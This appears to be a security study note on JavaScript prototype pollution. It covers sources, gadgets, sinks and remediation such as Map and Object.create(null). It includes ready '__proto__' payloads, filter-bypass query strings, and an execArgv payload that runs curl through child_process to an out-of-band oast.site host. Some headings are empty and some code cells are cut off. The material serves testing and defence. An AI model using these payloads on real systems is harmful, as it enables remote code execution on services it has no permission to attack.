JavaScript Prototype Pollution
Prototype pollution is a JavaScript vulnerability that enables an attacker to add arbitrary properties to global object prototypes, which may then be inherited by user-defined objects.
| Component | Role | Common Examples | Code Example |
|---|---|---|---|
| Source | The Entry Point. Where untrusted input enters the application and is dangerously merged into an object. |
• recursive merge functions • URL query parsers (e.g., qs, minimist)• JSON payload handlers |
merge(target, JSON.parse(userInput))Input: {"__proto__": {"debug": true}} |
| Gadget | The "Sleeper Agent." Legitimate code that looks for a property, finds it undefined, and falls back to the polluted prototype. |
• Configuration loaders • "Option" objects in libraries • if (config.isAdmin) checks |
`const shell = options.shell |
| Sink | The Execution Zone. The dangerous function where the gadget eventually feeds the polluted data to cause harm. |
• Client: innerHTML, document.write• Server: child_process.spawn, eval, vm.runInNewContext |
child_process.spawn(shell, ...)Executes the polluted command, leading to RCE. |
| ## Sources | |||
| ### Via the URL |
Via JSON
Bypass
Server-side prototype pollution
- Try to override the default error status code
- Try JSON spaces override
- Try a charset override
- Check for OOB interactions
"__proto__": { "shell":"node", "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com" }
"__proto__": {
"execArgv":[
"--eval=require('child_process').execSync('curl https://1w2bdz4e6oa00ytizquj0kwiyekgu7jl2.oast.site')"
]
}
Code review
Look for
- merge
- extend
- deepCopy
- defaults
Also check for assignment loops
- Check for flawed key sanitization
/?__pro__proto__to__.foo=bar
/?__pro__proto__to__[foo]=bar
/?__pro__proto__to__.foo=bar
/?constconstructorructor[protoprototypetype][foo]=bar
/?constconstructorructor.protoprototypetype.foo=bar
PortSwigger
DOM XSS via client-side prototype pollution
DOM XSS via an alternative prototype pollution vector
Lab 3
Client-side prototype pollution in third-party libraries
Client-side prototype pollution via browser APIs
Bypassing flawed input filters for server-side prototype pollution
Use the constructor instead of __proto__.
Remediation
- Use a
MAPinstead of anObject. - Use the "Null" object. This creates objects that have no prototype
- Freeze the prototype -- Makes the prototype read-only, but can break older libraries that modify the prototype internally.
- Input validation can be used, but can often be trivially bypassed. Last resort.
| Strategy | Recommendation | Implementation Example |
|---|---|---|
| 1. Use Safe Data Structures | High Priority. Use Map for key-value storage instead of plain objects. |
let cache = new Map(); |
| 2. Null-Prototype Objects | High Priority. Create objects that do not inherit from Object.prototype. |
let obj = Object.create(null); |
| 3. Schema Validation | Medium Priority. Use libraries like Joi or Ajv to strictly define allowed JSON structures. | Ensure schema does not allow arbitrary keys. |
| 4. Input Sanitization | Immediate Patch. Block dangerous keys in merge functions. | `if (key === 'proto' |
| 5. Object Freezing | Defense in Depth. Prevent any changes to the prototype. (Test thoroughly!) | Object.freeze(Object.prototype); |